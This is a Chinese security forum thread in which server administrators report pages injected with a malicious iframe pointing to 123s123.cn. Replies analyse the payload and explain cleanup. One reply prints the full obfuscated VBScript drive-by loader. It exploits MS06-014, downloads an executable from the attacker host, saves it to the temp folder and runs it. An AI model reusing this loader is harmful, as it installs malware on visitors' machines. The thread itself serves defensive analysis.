发新话题
打印

[原创] 服务器新病毒 123s123.cn

服务器新病毒 123s123.cn

我们手下的服务器都中这种病毒
症状为:没个网页上挂有<iframe src="http://123s123.cn/admin/95.htm" with=200></iframe>
附件: 您所在的用户组无法下载或查看附件

TOP

---------------------------
Microsoft Internet Explorer
---------------------------
<html>

<script language="VBScript">

on error resume next  /防止出现错误停止程序

sub passrav

d3="S"&"h"&"e"&"l"&"l"&"."&"A"&"p"&"p"&"l"&"i"&"c"&"a"&"t"&"i"&"o"&"n"  /shell对像

set aaa = df.createobject(d3,"")

bbb1="o"&"p" 

bbb2="e"&"n"

bbb=bbb1&bbb2    /指令加密
  
aaa.sHeLLexecute fuckrav,"","",bbb,0    /执行下载木马

end sub



fuckfuck = "http://123s123.cn/admin/xx.exe"   /木马下载网址

Set df = document.createElement("o"&"b"&"j"&"e"&"c"&"t")  /创建项目

df.setAttribute "c"&"l"&"a"&"s"&"s"&"i"&"d", "c"&"l"&"s"&"id:"&"B"&"D"&"96"&"C5"&"56"&"-65"&"A3"&"-11"&"D0"&"-98"&"3A"&"-00"&"C04"&"FC2"&"9E"&"36"    /MS06-014漏洞

str="Mic"&"ro"&"so"&"ft."&"X"&"M"&"L"&"HT"&"TP"  /创建一个xmlhttp对象

fso="S"&"c"&"r"&"i"&"p"&"t"&"i"&"n"&"g"&"."&"F"&"i"&"l"&"e"&"S"&"y"&"s"&"t"&"e"&"m"&"O"&"b"&"j"&"e"&"c"&"t"

Set x = df.CreateObject(str,"")  

a1="A"&"d"&"o"

a2="d"&"b"&"."

a3="S"&"t"&"r"&"e"&"a"&"m"

str1=a1&a2&a3

str5=str1

set S = df.createobject(str5,"")

S.type = 1

str6="G"&"E"&"T"

x.Open str6, fuckfuck, False

x.Send

fuckrav="SmartUp.com"

set F = df.createobject(fso,"")

set tmp = F.GetSpecialFolder(2)

S.open

fuckrav= F.BuildPath(tmp,fuckrav)  /创建临时目录



S.write x.responseBody

S.savetofile fuckrav,2

S.close

call passrav

</script>

<head>

<title>刺客网马</title>

</head><body>

</body></html>




---------------------------
确定   
---------------------------

TOP

这只是其中的一个病毒连接的分析嘿嘿
还有一个利用了REAL漏洞
如果你是网页让人挂马了只要把<iframe src="http://123s123.cn/admin/95.htm" with=200></iframe>去了就可以了,如果是电脑中毒,请扫一下发到病毒救援区里去

TOP


   分析
学习了

TOP

写个遍历HTM ASP PHP 等后缀程序查找字符<iframe src="http://123s123.cn/admin/95.htm" with=200></iframe>删除即可批量解决
Copyright© 江民公司 1996-2006 版权所有 All Rights Reserved

TOP

看了,一共连接5个网址

最后一个hp://123s123.cn/admin/006.htm失效了

其他的利用的是MS06-14\PPS\百度搜霸\RealPlayer漏洞

下载的东西都一样

就是你上传的那个

大概看了下,应该会穿还原

.................
思恋

TOP

病毒好烦!

TOP

发新话题